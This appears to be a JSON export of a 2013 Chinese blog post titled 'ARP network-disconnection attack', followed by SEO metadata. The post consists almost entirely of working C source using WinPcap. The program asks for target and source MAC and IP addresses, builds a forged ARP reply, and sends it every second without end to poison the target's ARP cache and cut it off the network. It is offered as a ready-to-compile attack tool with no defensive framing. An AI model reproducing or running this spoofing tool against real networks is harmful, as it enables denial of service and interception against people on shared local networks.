{"id":44,"date":"2013-10-05T16:44:01","date_gmt":"2013-10-05T16:44:01","guid":{"rendered":""},"modified":"2013-10-05T16:44:01","modified_gmt":"2013-10-05T16:44:01","slug":"","status":"publish","type":"post","link":"http:\/\/weizn.net\/?p=44","title":{"rendered":"ARP\u65ad\u7f51\u653b\u51fb"},"content":{"rendered":"
\/*\r\n\r\nIDE:Code::Blocks\r\n\r\n\u7f16\u8bd1\u5668:gcc\r\n\r\n*\/\r\n\r\n #include <stdio.h>\r\n#include <stdlib.h>\r\n#include <windows.h>\r\n#include <string.h>\r\n#include <conio.h>\r\n#include <pcap.h>\r\n\r\ntypedef struct DLC_Header\r\n{\r\n    unsigned char DesMAC[6];    \/\/\u4ee5\u592a\u7f51\u76ee\u7684\u5730\u5740\r\n    unsigned char SrcMAC[6];    \/\/\u4ee5\u592a\u7f51\u6e90\u5730\u5740\r\n    unsigned short EtherType;   \/\/\u5e27\u7c7b\u578b\r\n} DLCHEADER;\r\n\r\ntypedef struct ARP_Frame\r\n{\r\n    unsigned short HW_Type;       \/\/\u786c\u4ef6\u7c7b\u578b\r\n    unsigned short Prot_Type;     \/\/\u4e0a\u5c42\u534f\u8bae\u7c7b\u578b\r\n    unsigned char HW_Addr_Len;    \/\/MAC\u5730\u5740\u957f\u5ea6\r\n    unsigned char Prot_Addr_Len;  \/\/IP\u5730\u5740\u957f\u5ea6\r\n    unsigned short Opcode;        \/\/\u64cd\u4f5c\u7801\r\n\r\n    unsigned char Send_HW_Addr[6]; \/\/\u53d1\u9001\u7aefMAC\u5730\u5740\r\n    unsigned char Send_Prot_Addr[4];   \/\/\u53d1\u9001\u7aefIP\u5730\u5740\r\n    unsigned char Targ_HW_Addr[6]; \/\/\u76ee\u6807MAC\u5730\u5740\r\n    unsigned char Targ_Prot_Addr[4];   \/\/\u76ee\u6807IP\u5730\u5740\r\n} ARPFRAME;\r\n\r\nBOOL ChooseDev(char *devbuff,int buffsize)\r\n{\r\n    pcap_if_t *alldevs=NULL,*p=NULL;\r\n    char errbuff[PCAP_ERRBUF_SIZE];\r\n    int i,choose;\r\n\r\n    memset(devbuff,NULL,buffsize);\r\n    if(pcap_findalldevs(&alldevs,errbuff)==-1)\r\n        return ERROR;\r\n\r\n    for(p=alldevs,i=0; p; p=p->next)\r\n    {\r\n        if(p->name)\r\n        {\r\n            printf(\"%d.%s(%s)\\n\\n\",++i,p->name,p->description);\r\n        }\r\n        else\r\n        {\r\n            printf(\"\u6ca1\u6709\u53d1\u73b0\u7f51\u5361\u3002\\n\");\r\n            return FALSE;\r\n        }\r\n    }\r\n    do\r\n    {\r\n        printf(\"\u8bf7\u9009\u62e9\u4e00\u4e2a\u7f51\u5361:\");\r\n        fflush(stdin);\r\n    }\r\n    while(scanf(\"%d\",&choose)!=1 || choose<1 ||choose>i);\r\n    for(p=alldevs,i=1; i!=choose; p=p->next,i++);\r\n    strcat(devbuff,p->name);\r\n    pcap_freealldevs(alldevs);\r\n\r\n    return TRUE;\r\n}\r\n\r\nvoid Fill_ARPPACKET(char *ARPPacket,int packetsize)\r\n{\r\n    DLCHEADER *DLCHeader=(DLCHEADER *)ARPPacket;\r\n    ARPFRAME *ARPFrame=(ARPFRAME *)(ARPPacket+sizeof(DLCHEADER));\r\n\r\n    memset(ARPPacket,NULL,packetsize);\r\n\r\n    printf(\"\u8bf7\u8f93\u5165\u76ee\u6807MAC\u5730\u5740:\");\r\n    fflush(stdin);\r\n    if(scanf(\"%2x-%2x-%2x-%2x-%2x-%2x\",&DLCHeader->DesMAC[0],&DLCHeader->DesMAC[1],&DLCHeader->DesMAC[2],\\\r\n             &DLCHeader->DesMAC[3],&DLCHeader->DesMAC[4],&DLCHeader->DesMAC[5])!=6) exit(-1);\r\n    memcpy(ARPFrame->Targ_HW_Addr,DLCHeader->DesMAC,sizeof(DLCHeader->DesMAC));\r\n\r\n\r\n    printf(\"\u8bf7\u8f93\u5165\u6e90MAC\u5730\u5740:\");\r\n    fflush(stdin);\r\n    if(scanf(\"%2x-%2x-%2x-%2x-%2x-%2x\",&DLCHeader->SrcMAC[0],&DLCHeader->SrcMAC[1],&DLCHeader->SrcMAC[2],\\\r\n             &DLCHeader->SrcMAC[3],&DLCHeader->SrcMAC[4],&DLCHeader->SrcMAC[5])!=6) exit(-1);\r\n    memcpy(ARPFrame->Send_HW_Addr,DLCHeader->SrcMAC,sizeof(DLCHeader->SrcMAC));\r\n\r\n    printf(\"\u8bf7\u8f93\u5165\u6e90IP\u5730\u5740:\");\r\n    fflush(stdin);\r\n    if(scanf(\"%d.%d.%d.%d\",&ARPFrame->Send_Prot_Addr[0],&ARPFrame->Send_Prot_Addr[1],&ARPFrame->Send_Prot_Addr[2],\\\r\n             &ARPFrame->Send_Prot_Addr[3])!=4) exit(-1);\r\n\r\n    printf(\"\u8bf7\u8f93\u5165\u76ee\u6807IP\u5730\u5740:\");\r\n    fflush(stdin);\r\n    if(scanf(\"%d.%d.%d.%d\",&ARPFrame->Targ_Prot_Addr[0],&ARPFrame->Targ_Prot_Addr[1],&ARPFrame->Targ_Prot_Addr[2],\\\r\n             &ARPFrame->Targ_Prot_Addr[3])!=4) exit(-1);\r\n\r\n    DLCHeader->EtherType=htons((unsigned short)0x0806);\r\n    ARPFrame->HW_Addr_Len=(unsigned char)6;\r\n    ARPFrame->Prot_Addr_Len=(unsigned char)4;\r\n    ARPFrame->HW_Type=htons((unsigned short)1);\r\n    ARPFrame->Opcode=htons((unsigned short)0x0002);   \/\/01\u8868\u793a\u8bf7\u6c42\uff0c02\u8868\u793a\u5e94\u7b54\r\n    ARPFrame->Prot_Type=htons((unsigned short)0x0800);\r\n}\r\n\r\nBOOL SendARPPacket(char *devName,char *ARPPacket,int packetsize)\r\n{\r\n    pcap_t *hpcap;\r\n    char errbuf[PCAP_ERRBUF_SIZE];\r\n    int n=0;\r\n\r\n    if((hpcap=pcap_open_live(devName,        \/\/ \u8bbe\u5907\u540d\r\n                             65536,          \/\/ \u6307\u5b9a\u8981\u6355\u6349\u7684\u6570\u636e\u5305\u7684\u90e8\u5206,65536 \u4fdd\u8bc1\u6240\u6709\u5728\u94fe\u8def\u5c42\u4e0a\u7684\u5305\u90fd\u80fd\u591f\u88ab\u6293\u5230\r\n                             1,                 \/\/ \u6df7\u6742\u6a21\u5f0f\r\n                             1000,              \/\/ \u8bfb\u6570\u636e\u7684\u8d85\u65f6\u65f6\u95f4\r\n                             errbuf          \/\/ \u9519\u8bef\u7f13\u51b2\u533a\r\n                            ))==NULL)\r\n    {\r\n        printf(\"\u6253\u5f00\u7f51\u5361\u51fa\u9519\u3002\\n\");\r\n        return ERROR;\r\n    }\r\n    while(TRUE)\r\n    {\r\n        if(pcap_sendpacket(hpcap,ARPPacket,packetsize)==0)\r\n        {\r\n            printf(\"\\n\u5df2\u53d1\u9001%d\u4e2aARP\u5e94\u7b54\u5305\u3002\\r\",++n);\r\n        }\r\n        else\r\n        {\r\n            printf(\"ARP\u5e94\u7b54\u5305\u53d1\u9001\u5931\u8d25\u3002\\n\");\r\n        }\r\n        Sleep(1000);\r\n    }\r\n\r\n    return TRUE;\r\n}\r\n\r\nint main(int argc,char *argv[])\r\n{\r\n    char ARPPacket[60];\r\n    char devName[100];\r\n\r\n    if(ChooseDev(devName,sizeof(devName))!=TRUE)\r\n    {\r\n        printf(\"\u83b7\u53d6\u7f51\u5361\u5217\u8868\u5931\u8d25\u3002\\n\");\r\n        getch();\r\n        return -1;\r\n    }\r\n    Fill_ARPPACKET(ARPPacket,sizeof(ARPPacket));      \/\/\u586b\u5145\u6570\u636e\u5305\r\n    if(!SendARPPacket(devName,&ARPPacket,sizeof(ARPPacket)))  \/\/\u53d1\u9001\u6570\u636e\u5305\r\n    {\r\n        printf(\"\u53d1\u9001ARP\u5305\u5931\u8d25\u3002\\n\");\r\n        getch();\r\n        return -1;\r\n    }\r\n\r\n    return 0;\r\n}<\/pre>\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
\n\t\/*\n<\/p>\n
\n\tIDE:Code::Blocks\n<\/p>\n
\n\t\u7f16\u8bd1\u5668:gcc\n<\/p>\n
\n\t*\/\n<\/p>\n
\n\t \n<\/p>\n
\n\t \n<\/p>\n
\n\t#include <stdio.h>\n<\/p>\n
#include <stdlib.h>
\n#include <windows.h>
\n#include <string.h>
\n#include <conio.h>
\n#include <pcap.h><\/p>\n
ty…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[324],"tags":[],"class_list":["post-44","post","type-post","status-publish","format-standard","hentry"],"yoast_head":"\nARP\u65ad\u7f51\u653b\u51fb - Wayne's Blog<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"http:\/\/weizn.net\/?p=44\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"ARP\u65ad\u7f51\u653b\u51fb - Wayne's Blog\" \/>\n<meta property=\"og:description\" content=\"\/*    IDE:Code::Blocks    \u7f16\u8bd1\u5668:gcc    *\/              #include <stdio.h>  #include <stdlib.h> #include <windows.h> #include <string.h> #include <conio.h> #include <pcap.h>  ty...\" \/>\n<meta property=\"og:url\" content=\"http:\/\/weizn.net\/?p=44\" \/>\n<meta property=\"og:site_name\" content=\"Wayne's Blog\" \/>\n<meta property=\"article:published_time\" content=\"2013-10-05T16:44:01+00:00\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"zinan\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebSite\",\"@id\":\"http:\/\/weizn.net\/#website\",\"url\":\"http:\/\/weizn.net\/\",\"name\":\"Wayne's Blog\",\"description\":\"\",\"publisher\":{\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"http:\/\/weizn.net\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"WebPage\",\"@id\":\"http:\/\/weizn.net\/?p=44#webpage\",\"url\":\"http:\/\/weizn.net\/?p=44\",\"name\":\"ARP\\u65ad\\u7f51\\u653b\\u51fb - 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